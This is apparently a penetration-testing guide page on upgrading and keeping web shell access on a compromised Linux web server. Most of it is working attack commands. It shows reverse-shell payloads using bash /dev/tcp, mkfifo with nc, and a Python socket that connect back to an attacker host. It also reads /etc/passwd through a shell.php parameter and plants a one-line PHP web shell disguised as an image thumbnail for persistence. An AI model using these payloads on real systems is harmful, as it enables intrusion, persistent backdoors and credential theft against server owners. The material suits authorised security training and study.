Skip to content

Web Shell Management and Upgrade

3 min read Created Mar 28, 2026 Last updated Apr 24, 2026

A web shell gives code execution but is fragile: it lives in one file, produces no interactive shell, and disappears if the application restarts or the file is detected. The first priority after landing a web shell is confirming the execution context, then upgrading to a stable reverse shell before doing anything else. Web shells are typically planted through command injection, SQLi to RCE, or LFI exploitation. After stabilizing access, harvest credentials from web configuration files. Enumeration through a web shell parameter is slow and error-prone compared to a proper interactive session.

Steps for effective web shell management after initial access:

  • Confirm execution context: identify the running user, OS, and architecture
  • Upgrade to a reverse shell for interactive access with tab completion and job control
  • Stabilise the shell with pty spawn, stty settings, and TERM export
  • Plant a secondary web shell in a less obvious location as a fallback
  • Map the web root and identify other applications on the same server

Confirm Execution Context

Establish what user, privileges, and environment you have before attempting anything else:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=uname+-a"
Linux target 5.15.0-91-generic x86_64 GNU/Linux
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=cat+/etc/passwd+|+grep+-v+nologin+|+grep+-v+false"
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/sh

Upgrade to Reverse Shell

Set up the listener first, then trigger the reverse shell through the web shell. Use URL encoding to handle special characters in the payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

If bash is not available or the redirect operator is filtered, use mkfifo:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/f"

Python fallback when nc and bash redirects are both unavailable:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=python3 -c 'import socket,os,subprocess;s=socket.socket();s.connect((\"$LHOST\",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

Stabilise the Shell

Raw nc shells have no tab completion, no arrow keys, and Ctrl+C kills the connection. Stabilise immediately after connecting:

user@host ~ $ python3 -c 'import pty; pty.spawn("/bin/bash")'

Then background the shell with Ctrl+Z and configure the local terminal:

┌──(kali㉿kali)-[~]
└─$ stty raw -echo && fg
user@host ~ $ export TERM=xterm && stty rows 50 cols 200

Plant a Secondary Web Shell

Before moving on, plant a secondary shell in a less obvious location as a fallback. Name it something that blends with legitimate files:

user@host ~ $ echo '<?php system($_GET["0"]); ?>' > /var/www/html/assets/img/thumb.php
user@host ~ $ ls -la /var/www/html/assets/img/thumb.php
-rw-r--r-- 1 www-data www-data 32 Mar 28 12:00 /var/www/html/assets/img/thumb.php

Locate Other Web Application Files

Find the full web root structure and other web applications on the same server:

user@host ~ $ find /var/www /srv/http /usr/share/nginx /opt -name '*.php' -o -name '*.py' -o -name '*.rb' 2>/dev/null | head -30
user@host ~ $ cat /etc/nginx/sites-enabled/* 2>/dev/null | grep -iE 'root|server_name'
user@host ~ $ cat /etc/apache2/sites-enabled/* 2>/dev/null | grep -iE 'DocumentRoot|ServerName'

References